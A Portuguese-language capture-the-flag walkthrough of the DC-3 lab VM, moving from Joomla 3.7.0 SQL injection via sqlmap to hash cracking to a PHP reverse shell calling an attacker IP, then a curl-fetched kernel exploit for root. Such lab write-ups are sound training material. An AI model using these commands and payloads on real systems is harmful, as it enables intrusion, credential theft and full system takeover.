Configuração do Ambiente
O ambiente DC-3 consiste em uma máquina virtual projetada para a prática de técnicas de pentest e exploração de vulnerabilidades. O objetivo é obter acesso root e localizar a flag final, partindo de um único ponto de entrada.
Nota de configuração para VMware: Caso a máquina virtual não inicie corretamente após a importação, acesse as configurações da VM, navegue até a seção de hardware CD/DVD, abra as opções avançadas e altere a configuração de IDE 0:1 para IDE 0:0.
Reconhecimento de Rede e Serviços
O primeiro passo é identificar o endereço IP da máquina alvo na rede local. Em vez de utilizar scanners ARP tradicionais, podemos usar o Nmap para realizar uma descoberta de hosts via ping sweep.
nmap -sn 192.168.64.0/24
Com o IP da máquina alvo identificado como 192.168.64.138, prosseguimos com um scan abrangente de portas e detecção de versões.
nmap -sV -p- --min-rate 1000 192.168.64.138
O scan revela apenas a porta 80 (HTTP) aberta. Para identificar as tecnologias utilizadas pelo servidor web, utilizamos o WhatWeb com um nível de agressão mais alto para uma análise mais profunda.
whatweb --aggression=heavy http://192.168.64.138
A análise indica que o site é executado no CMS Joomla.
Análise do CMS Joomla
Para mapear vulnerabilidades específicas e diretórios ocultos do Joomla, instalamos e executamos a ferramenta joomscan.
sudo apt-get install joomscan -y
joomscan -u http://192.168.64.138
A varredura retorna informações cruciais: a versão exata do CMS (Joomla 3.7.0) e o caminho para o painel administrativo (/administrator/).
Exploração Inicial via SQL Injection
Consultando o banco de dados de exploits locais, identificamos uma vulnerabilidade de SQL Injection na versão 3.7.0 do Joomla.
searchsploit joomla 3.7.0
Após revisar o documento do exploit (ID 42033), extraímos o payload de injeção. Para automatizar a extração do banco de dados e evitar prompts interativos, utilizamos o sqlmap com a flag --batch, encapsulando a URL em uma variável para melhor legibilidade.
ALVO="http://192.168.64.138/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1"
# Enumeração de bancos de dados
sqlmap -u "$ALVO" -p "list[fullordering]" --batch --risk=3 --level=5 --random-agent --dbs
# Enumeração de tabelas no banco joomladb
sqlmap -u "$ALVO" -p "list[fullordering]" --batch --risk=3 --level=5 --random-agent -D joomladb --tables
# Extração de credenciais da tabela de usuários
sqlmap -u "$ALVO" -p "list[fullordering]" --batch --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --dump
A extração retorna o nome de usuário admin e o hash da senha correspondente.
Quebra de Credenciais
O hash extraído é armazenado em um arquivo local para ser processado pelo John the Ripper, utilizando um dicionário de senhas comum.
echo "admin:\$2y\$10\$03b26...hash_aqui..." > hashes_joomla.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes_joomla.txt
john --show hashes_joomla.txt
A quebra do hash revela a credencial de acesso: admin:snoopy.
Acesso Inicial e Web Shell
Utilizando as credenciais válidas, acessamos o painel administrativo em http://192.168.64.138/administrator/. Navegando até o gerenciador de templates, é possível editar os arquivos do tema ativo (beez3).
Em vez de utilizar scripts prontos, criamos um arquivo PHP minimalista para estabelecer um reverse shell, alterando a estrutura padrão e os nomes das variáveis.
<?php
$host_atacante = '192.168.64.129';
$porta_conexao = 4444;
$sock = fsockopen($host_atacante, $porta_conexao);
exec('/bin/sh -i <&3 >&3 2>&3');
?>
O código é salvo no diretório do template como shell.php. O caminho completo para execução será: /templates/beez3/html/shell.php.
Antes de acionar o payload, iniciamos um listener na máquina de ataque:
nc -lvnp 4444
Ao acessar a URL do script via navegador, a conexão é estabelecida. Para obter um terminal totalmente interativo, utilizamos o utilitário script em vez do método tradicional via Python.
script -q /dev/null -c bash
Escalação de Privilégios
Com acesso inicial ao sistema, verificamos as informações do kernel e do sistema operacional.
uname -a
cat /etc/os-release
O sistema é um Ubuntu 16.04. Buscamos no repositório de exploits por vulnerabilidades de escalação de privilégios locais para esta versão.
searchsploit ubuntu 16.04 Privilege Escalation
Selecionamos o exploit 39772 (eBPF_mapfd_doubleput), que explora uma falha de race condition no kernel. O exploit compilado é baixado diretamente para o diretório web, que possui permissões de escrita.
cd /var/www/html/templates/beez3
curl -O http://192.168.64.129:8000/39772/exploit.tar
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput
Executamos o script de compilação e, em seguida, o binário do exploit:
./compile.sh
./doubleput
A execução do exploit é bem-sucedida, resultando na escalação imediata para o usuário root.
root@dc-3:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-3:~/ebpf_mapfd_doubleput# cat /root/the-flag.txt